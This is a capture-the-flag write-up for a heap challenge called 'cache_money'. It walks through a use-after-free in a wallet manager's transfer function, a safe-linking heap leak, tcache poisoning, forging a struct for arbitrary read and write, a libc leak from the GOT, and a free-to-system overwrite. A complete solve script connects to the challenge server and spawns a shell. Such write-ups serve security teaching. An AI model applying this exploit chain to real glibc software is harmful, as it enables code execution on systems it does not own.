A crypto-wallet manager with the usual menu — open, deposit, withdraw, transfer, close, list. The transfer path frees the source ledger and then writes that same, already-freed pointer into the destination wallet, which stays active. That is a use-after-free with both a read and a write, and from there it is safe-linking arithmetic all the way to a GOT overwrite.
Challenge Description
The arcade’s credit manager tracks every wallet in the house. The books haven’t been audited in years, so help yourself.
Provided: cache_money, libc.so.6, ld-linux-x86-64.so.2.
Initial Analysis
Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)FORTIFY: EnabledNo PIE, and Partial RELRO — so the GOT is at a fixed, writable address.
Slots live in a 16-entry table at 0x41c0, sixteen bytes each. Reversing the handlers gives the wallet layout:
+0x00 name (16 bytes)+0x10 balance+0x18 ledger (heap pointer)+0x20 size+0x28 activeLedger sizes are clamped to 0x20..0x400 and every ledger is allocated with calloc, so a freshly opened wallet reads back as zeroes — there is no uninitialised-memory leak here. Withdraw prints the full size bytes of the ledger regardless of how much was deposited, which becomes the read primitive.
The Vulnerability
transfer frees the source ledger and then re-reads the pointer it just freed:
401ac9: mov rdi,QWORD PTR [rbx+0x18] ; src->ledger401acd: call 401110 <free@plt>401ad2: mov rax,QWORD PTR [rbx+0x18] ; re-reads the freed pointer401ae8: mov QWORD PTR [rbp+0x18],rax ; dst->ledger = freed chunk401aec: mov rax,QWORD PTR [rbx+0x20]401af0: mov QWORD PTR [rbp+0x20],rax ; dst->size = src->size401af4: mov rax,QWORD PTR [rbx+0x10]401af8: add QWORD PTR [rbp+0x10],rax ; dst->balance += src->balance401afe: mov QWORD PTR [rbx+0x10],0x0401b0a: mov QWORD PTR [rbx+0x18],0x0 ; src cleared, dst left danglingThe source is tidied up properly. The destination is left pointing at a chunk that is now sitting in a tcache bin, and it is still marked active — so Withdraw reads freed memory and Deposit writes into it.
Exploitation
Heap leak
After one transfer, Withdraw on the destination prints the freed chunk’s first bytes:
raw[:16]: 492002000000000014006c0da67a566dfd = 0x22049 -> heap chunk in page 0x22049000key = 0x6d567aa60d6c0014The first qword is the safe-linked fd. For the first chunk in an empty tcache bin, PROTECT_PTR(pos, NULL) is pos >> 12 — which is exactly the heap page number. That is all poisoning ever needs, because the mangling is page ^ target.
For an exact address rather than just the page, free two chunks into the same bin. The second one’s fd is (B >> 12) ^ A, and since both are on the same page, XORing with the page recovers A:
page = 0x369e4fd2 = 0x369d2b14A = fd2 ^ page = 0x369e42f0tcache poisoning
The first attempt at this silently did nothing, and the reason is worth stating plainly. With a single free in the bin, tcache->counts is 1. Popping one chunk takes the count to zero, and tcache_get refuses to serve another entry from that bin no matter what the poisoned fd says — the allocator checks the count, not the list. So the second allocation goes to the top chunk and the target address is never returned.
Two frees are needed before the poisoning write. And they have to be back to back: opening a wallet in between pops the freed chunk straight back out of the bin.
def poison(self, size, target): """Two frees first so tcache count is 2, then overwrite the head's fd.""" a1 = self.open(size, "a1"); b1 = self.open(size, "b1") a2 = self.open(size, "a2"); b2 = self.open(size, "b2") self.w.transfer(a1, b1) # count 1 page = struct.unpack("<Q", ledger_bytes(self.w.withdraw(b1))[:8])[0] self.w.transfer(a2, b2) # count 2, head = X2 self.w.deposit(b2, p64(page ^ target)) # X2.fd = target self.open(size, "q1") # pops X2 (count 1) return self.open(size, "q2"), page # pops target (count 0)Forging a wallet struct
An allocation at an arbitrary address is not yet an arbitrary read, because open callocs the chunk and zeroes it. The way through is to land the chunk on another wallet’s struct rather than on the thing you want to read.
The first wallet’s struct sits at heap_page + 0x2b0: the tcache_perthread_struct occupies up to +0x2a0, and the struct is allocated before its ledger. Verified by poisoning a 32-byte ledger onto the first wallet’s ledger at +0x2f0 and watching its first 32 bytes zero out while the rest stayed intact:
victim ledger[0:48]: b'\x00' * 32 + b'ZZZZZZZZZZZZZZZZ'A 32-byte allocation on the struct zeroes only name, balance and ledger — size at +0x20 and active at +0x28 are past the end of the chunk and survive. So one deposit rewrites the struct into whatever is wanted:
e.w.deposit(fake, b"P" * 16 + p64(0) + p64(FREE_GOT)) # name, balance=0, ledger=GOTThat wallet now reads and writes an arbitrary address, with its original size of 256 still intact.
Leak and win
Pointing it at the GOT (0x404000, fixed — no PIE) dumps libc:
got+0x00 = 0x00007b11ceaadd20 free got+0x08 = 0x00007b11cea87bd0 puts got+0x10 = 0x00007b11ceb1c560 write got+0x18 = 0x0000000000401060 __stack_chk_fail (unresolved)write@got minus 0x11c560 gives the base, page-aligned as expected (Ubuntu GLIBC 2.39-0ubuntu8.3).
For the finish, the same wallet writes system over free@got. Then Transfer is called on a wallet whose ledger holds /bin/sh — because transfer’s first act is free(src->ledger), with rdi already pointing at that string:
total 12-rw-r----- 1 root cache_money 40 Sep 26 00:13 flag.txtsun{s4fe_l1nk1ng_w0nt_s4ve_y0ur_tc4che}Solve Script
import struct, timefrom cm import Wallet, ledger_bytes # prompt-synced clientp64 = lambda x: struct.pack("<Q", x)
FREE_GOT, WRITE_GOT = 0x404000, 0x404010WRITE_OFF, SYSTEM_OFF = 0x11c560, 0x58740STRUCT_OFF = 0x2b0 # first wallet's struct, relative to the heap page base
def pwn(target, cwd=None): e = Ex(target, cwd) v = e.open(256, "victim") # its struct lands at base+0x2b0 sh = e.open(256, "shell") e.w.deposit(sh, b"/bin/sh\x00")
_, page = e.uaf(32) base = page << 12
fake, _ = e.poison(32, base + STRUCT_OFF) # chunk on victim's struct e.w.deposit(fake, b"P" * 16 + p64(0) + p64(FREE_GOT)) # ledger -> GOT
raw = ledger_bytes(e.w.withdraw(v)) # arbitrary read libc = struct.unpack("<Q", raw[WRITE_GOT - FREE_GOT:][:8])[0] - WRITE_OFF assert not libc & 0xfff, "libc base not page aligned"
e.w.deposit(v, p64(libc + SYSTEM_OFF)) # free@got = system t = e.w.t # transfer -> system("/bin/sh") t.send("4\n"); t.until(b"(0-15): ") t.send(f"{sh}\n"); t.until(b"(0-15): ") t.send(f"{fake}\n") time.sleep(1.0); t.drain(1.0) t.send(b"cat flag*\n"); time.sleep(0.8) return t.drain(1.0)
print(pwn(("chal.sunshinectf.games", 26004)).decode())The client syncs on prompt strings rather than sleeping. Time-based reads desync immediately over TCP, where a recv can return a partial menu.
Flag
sun{s4fe_l1nk1ng_w0nt_s4ve_y0ur_tc4che}